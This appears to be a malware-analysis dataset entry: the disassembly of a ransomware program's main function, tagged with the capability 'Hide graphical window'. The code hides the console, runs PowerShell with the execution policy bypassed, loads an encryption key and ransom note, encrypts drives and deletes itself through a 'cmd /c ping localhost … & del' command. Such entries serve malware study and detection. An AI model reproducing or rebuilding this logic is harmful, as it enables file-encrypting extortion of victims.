Function at 0x415870
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x473582
mov eax, dword fs:[0]
push eax
mov eax, 0xa194
call fcn.00438640
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
push str.__start___n
mov dword [ebp - 0xa1a0], ebx
call fcn.004022c0
mov ecx, dword [0x4939f0]
xor edi, edi
add esp, 4
mov byte [ebp - 0xa187], 0
xor edx, edx
mov byte [ebp - 0xa185], 0
mov dword [ebp - 0xa18c], 0
mov dword [ebp - 0xa19c], 0
mov dword [ebp - 0xa198], edi
mov dword [ebp - 0xa194], edx
mov dword [ebp - 0xa190], edx
mov byte [ebp - 0xa186], dl
mov esi, dword [0x4939d4]
cmp ecx, 1
jne 0x415963
cmp esi, dword [ebp + 8]
jge 0x415b5e
mov eax, dword [ebx + esi*4]
cmp byte [eax], 0x2d
jne 0x415b5e
cmp byte [eax + 1], 0
je 0x415b5e
mov edx, 0x488144
nop dword [eax + eax]
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x415950
test bl, bl
je 0x41594c
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x415950
add eax, 2
add edx, 2
test bl, bl
jne 0x415930
xor eax, eax
jmp 0x415955
sbb eax, eax
or eax, 1
test eax, eax
je 0x415b57
mov ebx, dword [ebp - 0xa1a0]
mov eax, dword [ebx + esi*4]
movsx edi, byte [eax + ecx]
cmp edi, 0x3a
je 0x415aee
push edi
push str.vi:nsdfpk:t:w:Vx:
call fcn.0044e710
add esp, 8
test eax, eax
je 0x415aee
cmp byte [eax + 1], 0x3a
mov esi, dword [0x4939d4]
jne 0x415a10
mov edx, dword [0x4939f0]
inc edx
add edx, dword [ebx + esi*4]
cmp byte [edx], 0
je 0x4159a7
inc esi
jmp 0x4159fd
lea edx, [esi + 1]
mov dword [0x4939d4], edx
cmp edx, dword [ebp + 8]
jl 0x4159f7
push 2
call fcn.004529b4
push eax
push dword [ebx]
call fcn.0045700b
push 2
call fcn.004529b4
push eax
push str.:_option_requires_an_argument___
call fcn.0045700b
push 2
call fcn.004529b4
push eax
push edi
call fcn.00456e5b
mov ecx, 1
add esp, 0x24
mov dword [0x4939f0], ecx
jmp 0x4158fc
lea esi, [edx + 1]
mov edx, dword [ebx + edx*4]
mov ecx, 1
mov dword [0x4939d4], esi
mov dword [0x4939f0], ecx
jmp 0x415a3a
mov ecx, dword [0x4939f0]
mov eax, dword [ebx + esi*4]
inc ecx
mov dword [0x4939f0], ecx
cmp byte [ecx + eax], 0
jne 0x415a38
mov ecx, 1
inc esi
mov dword [0x4939f0], ecx
mov dword [0x4939d4], esi
xor edx, edx
mov dword [0x499464], edx
cmp edi, 0xffffffff
je 0x415b5e
add edi, 0xffffffaa
cmp edi, 0x22
ja case.0x415a5c.87
movzx eax, byte [edi + 0x4163d4]
jmp dword [eax*4 + 0x4163a0]
mov byte [ebp - 0xa187], 1
jmp case.0x415a5c.87
mov byte [0x4970c2], 1
jmp case.0x415a5c.87
mov byte [0x4970c0], 1
jmp case.0x415a5c.87
mov dword [ebp - 0xa18c], edx
jmp case.0x415a5c.87
mov byte [ebp - 0xa185], 1
jmp case.0x415a5c.87
mov byte [0x4970c1], 1
jmp case.0x415a5c.87
mov byte [0x4939c0], 0
jmp case.0x415a5c.87
mov dword [ebp - 0xa19c], edx
jmp case.0x415a5c.87
mov dword [ebp - 0xa198], edx
jmp case.0x415a5c.87
mov dword [ebp - 0xa194], edx
jmp case.0x415a5c.87
mov byte [ebp - 0xa186], 1
jmp case.0x415a5c.87
mov dword [ebp - 0xa190], edx
jmp case.0x415a5c.87
push 2
call fcn.004529b4
push eax
push dword [ebx]
call fcn.0045700b
push 2
call fcn.004529b4
push eax
push str.:_illegal_option___
call fcn.0045700b
push 2
call fcn.004529b4
push eax
push edi
call fcn.00456e5b
mov esi, dword [0x4939d4]
add esp, 0x24
mov ecx, dword [0x4939f0]
inc ecx
mov dword [0x4939f0], ecx
mov eax, dword [ebx + esi*4]
cmp byte [ecx + eax], 0
jne case.0x415a5c.87
inc esi
mov ecx, 1
mov dword [0x4939d4], esi
mov dword [0x4939f0], ecx
jmp case.0x415a5c.87
inc esi
mov dword [0x4939d4], esi
cmp byte [ebp - 0xa186], 0
je 0x415b89
movsd xmm0, qword [0x488188]
sub esp, 8
movsd qword [esp], xmm0
push str.Version:_.2f_n
call fcn.004022c0
add esp, 0xc
jmp 0x416376
cmp byte [ebp - 0xa187], 0
jne 0x415ba1
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x4970c2], 0
je 0x415bb7
push str.:use_networkdrive_n
call fcn.004022c0
add esp, 4
cmp byte [0x4970c0], 0
je 0x415bcd
push str.:exclude_systemdrive_n
call fcn.004022c0
add esp, 4
cmp byte [ebp - 0xa185], 0
je 0x415be3
push str.:do_not_delete_itself_n
call fcn.004022c0
add esp, 4
cmp byte [0x4970c1], 0
je 0x415bf9
push str.:exclude_systemfolder_n
call fcn.004022c0
add esp, 4
cmp byte [0x4939c0], 0
jne 0x415c0f
push str.:do_not_use_preprocess_n
call fcn.004022c0
add esp, 4
mov ebx, dword [ebp - 0xa19c]
test ebx, ebx
je 0x415c27
push ebx
push str.:keyfile_path___s_n
call fcn.004022c0
add esp, 8
mov edi, dword [ebp - 0xa198]
test edi, edi
je 0x415c3f
push edi
push str.:note_path___s_n
call fcn.004022c0
add esp, 8
mov edi, dword [ebp - 0xa194]
test edi, edi
je 0x415cf9
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415c52
sub ecx, edx
cmp ecx, 0xff
jae 0x415cf9
push edi
push str.:initial_run_powershell_path___s_n
call fcn.004022c0
push edi
lea eax, [ebp - 0x268]
push str.powershell__executionpolicy_bypass__File__s
push eax
call fcn.00402370
push 1
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0xa16c]
call fcn.004142a0
add esp, 0x18
mov dword [ebp - 4], 0
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x415cab
mov edx, dword [eax]
push dword [eax + 0x10]
call fcn.0041d970
push eax
call fcn.0041c400
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov edx, dword [ebp - 0xa158]
cmp edx, 0x10
jb 0x415d66
mov ecx, dword [ebp - 0xa16c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415d5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416394
jmp 0x415d5c
mov ecx, dword [0x49e28c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415d02
sub ecx, edx
je 0x415d66
push str.:initial_run_powershell_from_predefined_variable._n
call fcn.004022c0
push dword [0x49e28c]
lea eax, [ebp - 0xa13c]
push str.powershell__Command____s_
push eax
call fcn.00402370
push 1
lea edx, [ebp - 0xa13c]
lea ecx, [ebp - 0xa16c]
call fcn.004142a0
add esp, 0x14
mov dword [ebp - 4], 1
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x415cab
jmp 0x415ca9
push edx
push ecx
call fcn.00437415
add esp, 8
mov edx, dword [ebp - 0xa190]
lea ecx, [ebp - 0xa148]
call fcn.004108e0
mov esi, eax
cmp esi, 0x49e350
je 0x415db8
mov ecx, 0x49e350
call fcn.00418ea0
mov ecx, dword [esi]
mov dword [0x49e350], ecx
mov ecx, dword [esi + 4]
mov dword [0x49e354], ecx
mov eax, dword [esi + 8]
mov dword [0x49e358], eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
lea ecx, [ebp - 0xa148]
call fcn.00418ea0
mov ecx, ebx
call fcn.00414ac0
test al, al
jne 0x415de0
push str.error:_load_key_n
call fcn.004022c0
add esp, 4
jmp 0x416376
mov ecx, dword [ebp - 0xa198]
call fcn.00415540
test al, al
jne 0x415e01
push str.error:_load_note_n
call fcn.004022c0
add esp, 4
jmp 0x416376
mov esi, dword [0x49e288]
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0xa190], esi
mov edx, 0x28
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.004379a4
add esp, 4
mov dword [ebp - 0xa194], eax
push fcn.00401580
push 0x401510
push esi
lea ebx, [eax + 4]
mov dword [ebp - 4], 2
push 0x28
push ebx
mov dword [eax], esi
call fcn.004379ad
mov dword [ebp - 4], 0xffffffff
xor edi, edi
mov dword [0x4970ec], ebx
cmp dword [0x49e288], edi
jle 0x415e91
xor esi, esi
sub esp, 8
lea ecx, [esi + ebx]
call fcn.004019f0
inc edi
lea esi, [esi + 0x28]
cmp edi, dword [0x49e288]
jge 0x415e91
mov ebx, dword [0x4970ec]
jmp 0x415e72
call fcn.00404db0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push str.preprocess_n
mov dword [ebp - 0xa190], eax
call fcn.004022c0
add esp, 4
cmp byte [0x4939c0], 0
je 0x415ec2
call fcn.00413540
call fcn.00413800
mov ebx, dword [ebp - 0xa18c]
test ebx, ebx
jne 0x416022
push str.:System_n
call fcn.004022c0
push str.encrypt_system_n
call fcn.004022c0
mov edi, 7
mov dword [ebp - 0xa174], ebx
xor eax, eax
mov dword [ebp - 0xa170], edi
add esp, 8
mov word [ebp - 0xa184], ax
mov dword [ebp - 4], 3
lea ecx, [ebp - 0xa148]
xorps xmm0, xmm0
mov dword [ebp - 0xa140], eax
movq qword [ebp - 0xa148], xmm0
call fcn.004115e0
mov byte [ebp - 4], 4
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xa144]
mov esi, dword [ebp - 0xa148]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xa18c], eax
test eax, eax
jle 0x415fb2
cmp dword [esi + 0x14], 8
mov edi, esi
jb 0x415f5b
mov edi, dword [esi]
push edi
push 0x487c4c
call fcn.004022c0
add esp, 8
mov ecx, edi
call fcn.00413f10
test al, al
je 0x415f99
lea eax, [ebp - 0xa184]
cmp eax, esi
je 0x415fa0
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x415f88
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0xa184]
push eax
call fcn.00419d90
jmp 0x415fa0
mov ecx, edi
call fcn.004118b0
inc ebx
add esi, 0x18
cmp ebx, dword [ebp - 0xa18c]
jl 0x415f51
mov edi, dword [ebp - 0xa170]
cmp byte [0x4970c0], 0
jne 0x415fd6
cmp edi, 8
lea ecx, [ebp - 0xa184]
cmovae ecx, dword [ebp - 0xa184]
call fcn.004125c0
mov edi, dword [ebp - 0xa170]
lea ecx, [ebp - 0xa148]
call fcn.00418ea0
mov dword [ebp - 4], 0xffffffff
cmp edi, 8
jb 0x416209
mov ecx, dword [ebp - 0xa184]
lea edi, [edi*2 + 2]
mov eax, ecx
cmp edi, 0x1000
jb 0x41601c
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416394
push edi
jmp 0x416200
mov ecx, ebx
mov dword [ebp - 0xa144], 0
mov dword [ebp - 0xa140], 0xf
mov byte [ebp - 0xa154], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416042
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0xa154]
call fcn.00401f50
mov dword [ebp - 4], 5
mov edx, dword [ebp - 0xa144]
lea esi, [edx - 1]
cmp edx, esi
jbe 0x416399
mov ecx, dword [ebp - 0xa140]
lea eax, [ebp - 0xa154]
mov edi, dword [ebp - 0xa154]
cmp ecx, 0x10
cmovae eax, edi
setae bl
mov al, byte [eax + esi]
cmp al, 0x3a
jne 0x4160d7
sub ecx, edx
cmp ecx, 1
lea ecx, [ebp - 0xa154]
jb 0x4160bc
test bl, bl
lea eax, [edx + 1]
mov dword [ebp - 0xa144], eax
mov al, byte [0x487f20]
cmovne ecx, edi
mov byte [ecx + edx], al
mov byte [ecx + edx + 1], 0
jmp 0x4160d7
push 1
push 0x487f20
mov byte [ebp - 0xa18c], 0
push dword [ebp - 0xa18c]
push 1
call fcn.0041cd40
push 0x50
lea eax, [ebp - 0x60]
push 0
push eax
call fcn.0044ee30
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.00417340
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa154]
cmp dword [ebp - 0xa140], 0x10
mov eax, dword [ebp - 0xa144]
cmovae ecx, dword [ebp - 0xa154]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xa16c]
push eax
lea ecx, [ebp - 0x60]
call fcn.004198a0
lea ecx, [ebp - 0x60]
call fcn.00417280
mov byte [ebp - 4], 7
lea eax, [ebp - 0xa16c]
cmp dword [ebp - 0xa158], 8
cmovae eax, dword [ebp - 0xa16c]
push eax
push str.:In_Path___ws_n
call fcn.004022c0
add esp, 8
lea ecx, [ebp - 0xa16c]
cmp dword [ebp - 0xa158], 8
cmovae ecx, dword [ebp - 0xa16c]
call fcn.004118b0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0xa158]
cmp edx, 8
jb 0x4161ab
mov ecx, dword [ebp - 0xa16c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4161a1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416394
push edx
push ecx
call fcn.00437415
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xa140]
mov dword [ebp - 0xa15c], 0
mov dword [ebp - 0xa158], 7
mov word [ebp - 0xa16c], ax
cmp edx, 0x10
jb 0x416209
mov ecx, dword [ebp - 0xa154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4161ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416394
push edx
push ecx
call fcn.00437415
add esp, 8
push ecx
mov ecx, 0x49e290
call fcn.00403bf0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [ebp - 0xa190]
push eax
call fcn.0041c150
mov ecx, eax
call fcn.00416400
push eax
call fcn.0041c400
mov ecx, dword [0x4970ec]
add esp, 4
test ecx, ecx
je 0x41625c
cmp dword [ecx - 4], 0
lea eax, [ecx - 4]
je 0x416251
mov eax, dword [ecx]
push 3
call dword [eax]
jmp 0x41625c
push 4
push eax
call fcn.0043744b
add esp, 8
cmp byte [ebp - 0xa185], 0
jne 0x416376
push 0xc8
lea eax, [ebp - 0x13c]
push 0
push eax
call fcn.0044ee30
push 0x64
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.0044ee30
mov ecx, dword [ebp - 0xa1a0]
add esp, 0x18
mov ecx, dword [ecx]
mov edx, ecx
lea esi, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4162a0
sub edx, esi
cmp edx, 4
jbe 0x416303
mov esi, ecx
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4162b3
sub esi, edx
lea eax, [ecx - 4]
mov edx, str..exe
add eax, esi
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x4162e6
test bl, bl
je 0x4162e2
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x4162e6
add eax, 2
add edx, 2
test bl, bl
jne 0x4162c6
xor eax, eax
jmp 0x4162eb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x416303
lea edx, [ebp - 0x74]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4162f4
jmp 0x416315
push ecx
lea eax, [ebp - 0x74]
push str._s.exe
push eax
call fcn.00402370
add esp, 0xc
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x13c]
push str.cmd__c_ping_localhost__n_3___nul__del__s
push eax
call fcn.00402370
push 0
lea edx, [ebp - 0x13c]
lea ecx, [ebp - 0xa16c]
call fcn.004142a0
mov edx, dword [ebp - 0xa158]
add esp, 0x10
cmp edx, 0x10
jb 0x416376
mov ecx, dword [ebp - 0xa16c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41636c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416394
push edx
push ecx
call fcn.00437415
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004373d4
mov esp, ebp
pop ebp
ret
call fcn.0045219a
call fcn.0041b4c0
nop
xlatb
pop edx
inc ecx
add byte [edx - 0x61ffbea6], dl
pop edx
inc ecx
add byte [edi - 0x49ffbea6], al
pop edx
inc ecx
add byte [edi + 0x5a], ch
inc ecx
add byte [edx + 0x7b00415a], ch
pop edx
inc ecx
add cl, al
pop edx
inc ecx
add byte [ebx + 0x5a], ah
inc ecx
add ah, cl
pop edx
inc ecx
add bl, ah
pop edx
inc ecx
add byte [edx], al
pop ecx
inc ecx
add byte [eax], al
or al, 0xc
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 1
or al, 2
or al, 12
add ecx, dword [esp + eax]
or al, 12
add eax, 202114572
pop es
or byte [ecx + ecx], cl
or cl, byte [ebx]
int3